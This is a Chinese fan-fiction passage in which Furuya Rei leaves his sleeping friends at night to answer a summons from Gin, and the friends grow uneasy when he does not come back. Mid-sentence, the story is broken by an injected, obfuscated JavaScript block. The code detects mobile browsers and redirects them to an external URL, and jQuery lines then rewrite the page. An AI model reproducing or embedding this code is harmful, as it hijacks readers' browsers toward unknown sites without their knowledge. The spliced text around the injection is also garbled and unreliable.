夜色渐深，公寓终于归于平静。月光透过窗帘缝隙，在地板上投下狭长的光斑。卧室里传来均匀的呼吸声和偶尔的呓语——伊达航的鼾声规律而低沉，萩原研二似乎在梦里还在嘟囔着“千速姐手下留情”，隔壁房间的松田阵平安静地沉睡着，墨镜终于被摘下来放在了床头柜上。
降谷零和诸伏景光共享的房间内，两张单人床并排摆放。景光已经睡熟，侧脸在月光下显得格外柔和安宁。降谷零静静地躺在自己的床上，睁着眼睛望着天花板，眼中毫无睡意，只有一片清醒的冷澈。长期的卧底生涯早已让他学会了如何在外表放松的同时，保持内心最深处的警惕。
凌晨两点十七分。
放在枕边的加密手机，屏幕无声地亮了一下，没有震动，只有特定的冷光微微一闪。降谷零几乎在它亮起的瞬间就睁开了眼睛——他刚才只是在闭目养神。他迅速伸手拿起手机，动作轻捷如猎豹，没有发出丝毫声响。
屏幕上是来自琴酒的简洁信息，只有一个时间、一个坐标，以及一个代表最高紧急程度的黑色乌鸦符号。
降谷零的眼神瞬间从片刻的松弛转变为绝对的锐利。他悄无声息地掀开被子，赤脚下地，踩在冰凉的地板上。他甚至不需要开灯，仅凭记忆和对环境的熟悉，就在黑暗中准确无误地走向衣柜。他换下了舒适的居家服，穿上那身标志性的、方便行动的深色衣物——黑色夹克、同色长裤、便于奔跑的鞋子。整个过程不超过三分钟，寂静无声，连布料摩擦的声音都被他控制到了最低。
他走到门边，手放在门把手上，停顿了半秒。目光不由自主地飘向诸伏景光的床铺。幼驯染睡得正沉，眉头舒展，似乎卸下了所有防备。降谷零的嘴唇微微抿紧，那是他内心情绪波动的微小痕迹。他想起白天景光说“这样的日子真好”时的微笑，想起餐桌上那些无意义的拌嘴，想起夕阳下并肩而行的影子。
但这些画面只是一闪而过，随即被更深的冰冷覆盖。他轻轻拧动门把手，无声地拉开一条缝隙，侧身闪出，再同样无声地将门关回原位。整个公寓依然沉浸在睡梦中，无人察觉。
穿过黑暗的客厅时，他看到沙发上萩原研二踢开了被子，睡得四仰八叉；看到餐桌上还留着半壶凉掉的麦茶，和几个没收起来的杯子。这个充满生活气息的场景，此刻却像隔着一层模糊的玻璃。他成了唯一的清醒者，也是唯一的闯入者——即将闯入另一个截然不同的、黑暗冰冷的世界。
他悄无声息地打开公寓大门，闪身出去，反手轻轻带上。金属锁舌扣合发出“咔哒”一声轻响，在寂静的楼道里几乎微不可闻，随即被彻底隔绝在门内。
门内，是温暖、喧闹、充满信任与羁绊的“家”。
门外，是危机四伏、谎言交织、随时可能丧命的深渊。
他最后看了一眼紧闭的公寓门，眼中所有属于“降谷零”这个人的温度迅速褪去，取而代之的是属于“波本”的冷漠、算计和锐利。他转身，步伐坚定而迅速，很快消失在楼梯拐角的阴影中，融入了东京尚未苏醒的夜色里。
第二天早晨，阳光再次洒满客厅。
第一个发现降谷零不在的是诸伏景光。他醒来时，看到旁边空荡荡的床铺，被子整齐地叠放在床脚。他走过去摸了摸床单，一片冰凉。
“Zero又一大早出去了吗……”他低声自语，并不意外。作为公安精英，降谷零经常有临时任务，通宵工作或者清晨出动都是常事。
厨房里，松田阵平正试图用面包机烤吐司，结果差点烤焦，引来萩原千速的“指导”。
“松田，你的面包是要变成炭吗？让开。”千速熟练地接手。
“啧，一大早火气就这么大。”松田抓了抓头发，环顾四周，“降谷呢？那家伙昨天还说要早起做三明治炫耀。”
“Zero有任务，先走了。”诸伏景光走进厨房，开始准备咖啡。
“哦，公安的加班狗。”松田不以为意地耸耸肩，“那他的那份早餐归我了。”
“想得美，你差点毁了所有人的早餐。”千速拍开他伸向盘子的手。
伊达航打着哈欠走出来：“降谷出去了？昨晚没听他说有紧急任务啊。”
“可能是临时通知吧。”诸伏景光将咖啡递给伊达航，“他留了纸条吗？”他习惯性地扫视餐桌和冰箱门，并没有发现。
萩原研二顶着一头乱发从房间晃出来：“谁出去了？小降谷？啊，肯定是又有棘手的案子了。真辛苦啊。”
没有人觉得不对劲。在他们看来，这不过是降谷零无数次因公早出中的寻常一次。公安警察的工作性质本就如此，秘密、突然、充满不确定性。他们或许会抱怨他又错过了集体早餐，或许会揶揄他是“工作狂”，但绝不会，也从未想过，他消失的这段时间，并非穿着警服在阳光下的会议室或案发现场，而是换上了另一副面孔，潜行于东京最阴暗的角落，执行着与“正义”背道而驰的“任务”。
“给他留份早餐温着吧。”诸伏景光说，拿出一个盘子，盛了些食物，用保鲜膜仔细盖好，放进了微波炉旁，“他回来可能会饿。”
“景光你太惯着他了。”松田咬着自己那份勉强及格的吐司说道。
“幼驯染的特权。”诸伏景光笑了笑，眼神温和。
他们继续着早晨的日常，讨论着今天的安排，抱怨着假期太短，计划着下次再聚。阳光明媚，公寓里弥漫着咖啡和食物的香气，温暖而寻常。
那份被仔细盖好的早餐，静静等待着它的主人。而他们谁也不知道，那个此刻正在黑暗中与危险共舞的男人，何时能再次回到这个光亮的、充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296850|198572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满烟火气的餐桌旁，以“降谷零”的身份，享用这份温暖的等待。
他们知道的，只是“降谷零又去执行公安任务了”。
仅此而已。
而真相，连同凌晨那道冰冷的手机光芒，一起被掩藏在降谷零毫无破绽的平静面具之下，沉入他独自背负的黑暗深海中。属于“波本”的时间开始了，而“降谷零”，暂时退场，等待着不知何时才能到来的、真正的回归。
第二天晚上，雨依旧下个不停。
雨水敲打着公寓的窗户，发出连绵不绝的声响，像某种不祥的预兆，也像耐心的叩问。窗外霓虹灯的光晕在湿漉漉的玻璃上晕开，模糊成一片片冰冷的光斑。
客厅里，剩下的五个人或坐或站，气氛比前一日明显沉闷了些。电视开着，播放着无关紧要的综艺节目，但没什么人认真看。
“Zero还没回来吗？”萩原研二第三次看向墙上的时钟，指针已经滑过晚上十点。
“没有。”诸伏景光站在窗边，望着外面被雨水切割得支离破碎的城市灯火，眉头微微蹙起，“电话也打不通。”他尝试过几次，回应他的只有冰冷的女声提示“您拨打的用户暂时无法接通”。这并不完全反常，降谷执行某些机密任务时，通讯隔绝是常态，但这一次，一种模糊的不安感，像窗外的寒气一样，悄无声息地渗透进来。
“公安那边的任务，有时候是这样。”伊达航放下手中的报纸，试图让语气显得轻松些，“可能涉及到需要深度潜伏或者通讯静默的情况。他身手那么好，头脑也冷静，不会有事。”
话虽如此，他自己心里也犯嘀咕。降谷零虽然工作拼命，但通常会在可能的情况下，给诸伏景光发一个简单的、安全的信号，哪怕只是一个约定好的空白短信。而这次，什么都没有。
松田阵平没说话，只是拿着工具，无意识地拆卸又组装着一个已经修好了的打火机，金属部件碰撞发出轻微的“咔哒”声，在雨声的背景下显得有些焦躁。他想起降谷零离开那晚的平静，甚至没有像往常那样跟谁斗一句嘴，安静得有点……过于干脆。
萩原千速端来热茶，分给大家：“别太担心，那家伙可是我们中间最厉害的一个。或许只是任务延长了。”
诸伏景光接过茶杯，温热的触感暂时驱散了一些指尖的冰凉，却暖不进心底。幼驯染之间有种超越言语的直觉，此刻，那根无形的弦绷得有些紧，隐隐传递着不安的振动。他想起多年前那个雨夜，想起一些不愿回顾的往事，手指不自觉地收紧了。
他不知道的是，此刻他牵挂的人，正身处比雨夜寒冷百倍的地狱。
而地狱的门，已然在他身后无声合拢。门内熟睡的友人们不会想到，几小时后，那个与他们斗嘴吵架的降谷零，会以怎样破碎的姿态，重新敲响这扇门。